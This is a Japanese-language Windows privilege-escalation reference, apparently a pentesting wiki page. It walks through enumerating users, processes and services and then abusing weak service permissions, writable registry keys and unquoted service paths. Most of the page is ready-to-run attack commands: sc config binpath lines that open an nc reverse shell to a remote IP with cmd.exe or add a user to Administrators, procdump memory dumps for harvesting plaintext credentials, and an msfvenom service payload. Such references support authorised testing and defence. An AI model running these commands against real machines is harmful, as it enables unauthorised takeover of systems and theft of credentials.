コンテンツにスキップ

ユーザー・プロセス・サービスの調査

ユーザーの所属グループや特権、実行中のプロセス、サービスの設定を順に調べます。書き込み可能な場所や操作可能なサービスを、現在の権限と照らし合わせます。

現在のユーザーと所属グループを確認し、追加の操作が許されているかを調べます。

ターミナルウィンドウ
# CMD(コマンドプロンプト)
net users %username% # 自分
net users # ローカルユーザー全員
net localgroup # グループ
net localgroup Administrators # Administrators グループのメンバー
whoami /all # 権限を確認
# PS(PowerShell)
Get-WmiObject -Class Win32_UserAccount
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource

特権グループへの所属は、追加の操作ができる手がかりになります。グループごとの権限は Privileged Groups を参照してください。

現在の特権の読み方と参考資料は、アクセストークンの操作にまとめています。

ログオン中のユーザーとセッション

Section titled “ログオン中のユーザーとセッション”
ターミナルウィンドウ
qwinsta
klist sessions
ターミナルウィンドウ
dir C:\Users
Get-ChildItem C:\Users
ターミナルウィンドウ
net accounts
ターミナルウィンドウ
powershell -command "Get-Clipboard"

まずプロセス一覧から実行ユーザーとコマンドラインを確認します。パスワードが引数に残っていないか、実行ファイルやそのフォルダーを書き換えられるかが主な確認点です。DLL の読み込み先については DLL Hijacking も参照してください。

ターミナルウィンドウ
Tasklist /SVC # 実行中プロセスとサービス一覧
tasklist /v /fi "username eq system" # "system" プロセスをフィルタ
# ユーザー名あり
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize
# ユーザー名なし
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id

実行中の electron/cef/chromium デバッガ がないか必ず確認してください。これを悪用して特権昇格できる可能性があります。

プロセス バイナリの権限を確認

ターミナルウィンドウ
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
icacls "%%z"
2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
)
)

プロセス バイナリのフォルダ権限を確認(DLL Hijacking)

ターミナルウィンドウ
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users
todos %username%" && echo.
)

プロセスのメモリに残るパスワード

Section titled “プロセスのメモリに残るパスワード”

sysinternals の procdump を使って、実行中プロセスのメモリダンプを作成できます。FTP などのサービスは**平文クレデンシャル(clear text credentials)**がメモリに残ることがあるため、ダンプして読み取ります。

ターミナルウィンドウ
procdump.exe -accepteula -ma <proc_name_tasklist>

SYSTEM として動作しているアプリが、ユーザーに CMD 起動やディレクトリ閲覧を許してしまう場合があります。

例: 「Windows Help and Support」(Windows + F1)で「command prompt」を検索し、「Click to open Command Prompt」をクリック

Service Triggers は、特定条件(named pipe/RPC endpoint activity、ETW events、IP availability、device arrival、GPO refresh など)で Windows がサービスを起動できる仕組みです。SERVICE_START 権限がなくても、トリガーを発火させて特権サービスを起動できることがあります。列挙と起動の手法はこちら:

Service Triggers

サービス一覧を取得:

ターミナルウィンドウ
net start
wmic service list brief
sc query
Get-Service

sc を使ってサービス情報を取得できます。

ターミナルウィンドウ
sc qc <service_name>

各サービスに必要な権限レベルを確認するには、Sysinternals の accesschk バイナリの利用が推奨されます。

ターミナルウィンドウ
accesschk.exe -ucqv <Service_Name> # 各グループの権限を確認

“Authenticated Users” がサービスを変更できないか確認することが推奨されます:

ターミナルウィンドウ
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version

XP 用 accesschk.exe のダウンロードはこちら

次のエラーが出る場合(例: SSDPSRV):

System error 1058 has occurred.
The service cannot be started, either because it is disabled or because it has no enabled devices associated with it.

次の通り有効化できます。

ターミナルウィンドウ
sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""

upnphost サービスは SSDPSRV に依存する点に注意(XP SP1)

別の回避策として以下を実行:

sc.exe config usosvc start= auto

サービスの実行ファイルパスを変更する

Section titled “サービスの実行ファイルパスを変更する”

“Authenticated users” グループがサービスに SERVICE_ALL_ACCESS を持つ場合、サービスの実行バイナリを変更できます。sc による変更と実行の例:

ターミナルウィンドウ
sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"
sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"
sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"
ターミナルウィンドウ
wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]

権限は以下の許可で昇格できる場合があります:

  • SERVICE_CHANGE_CONFIG: サービス バイナリの再設定を許可。
  • WRITE_DAC: 権限再設定を許可し、サービス構成変更が可能。
  • WRITE_OWNER: 所有権の取得と権限再設定を許可。
  • GENERIC_WRITE: サービス構成変更を継承。
  • GENERIC_ALL: サービス構成変更を継承。

この脆弱性の検出と悪用には exploit/windows/local/service_permissions が利用できます。

サービス実行ファイルの書き込み権限

Section titled “サービス実行ファイルの書き込み権限”

サービスが実行するバイナリを変更できないか、またはバイナリがあるフォルダに書き込み権限がないかを確認します(DLL Hijacking)。
wmic(system32 以外)でサービスが実行する各バイナリを取得し、icacls で権限を確認します:

ターミナルウィンドウ
for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt
for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"

sc と icacls を使う方法:

ターミナルウィンドウ
sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt

サービスのレジストリ変更権限

Section titled “サービスのレジストリ変更権限”

サービス レジストリを変更できないか確認します。
次の方法でサービス レジストリに対する権限を確認できます:

ターミナルウィンドウ
reg query hklm\System\CurrentControlSet\Services /s /v imagepath # サービスのバイナリ パスを取得
# 各サービスに現在の内容で書き込みを試し、書き込み権限があるか確認
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a
get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"

Authenticated Users または NT AUTHORITY\INTERACTIVE が FullControl 権限を持つか確認してください。該当する場合、サービスが実行するバイナリを変更できます。

実行バイナリのパスを変更するには:

ターミナルウィンドウ
reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f

サービスのレジストリ追加権限

Section titled “サービスのレジストリ追加権限”

レジストリに対してこの権限がある場合、ここからサブ レジストリを作成できることを意味します。Windows サービスの場合、任意コード実行に十分です:

AppendData/AddSubdirectory permission over service registry

実行ファイルのパスが引用符で囲まれていない場合、Windows はスペース前の各末尾までを順に実行しようとします。

例: パスが C:\Program Files\Some Folder\Service.exe の場合、Windows は次を実行しようとします:

ターミナルウィンドウ
C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe

ビルトイン Windows サービスを除外して、引用符なしサービス パスを列挙:

ターミナルウィンドウ
wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"'
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"' # auto サービス以外も含む
# PowerUp.ps1 を使用
Get-ServiceUnquoted -Verbose
ターミナルウィンドウ
for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do (
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
)
)
ターミナルウィンドウ
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name

Metasploit で検出と悪用が可能です: exploit/windows/local/trusted_service_path。Metasploit で手動作成する場合:

ターミナルウィンドウ
msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe

Windows はサービス障害時に実行するアクションを指定できます。この機能はバイナリを指すように設定可能で、そのバイナリを置き換えられる場合は特権昇格が可能になるかもしれません。詳細は公式ドキュメントを参照してください。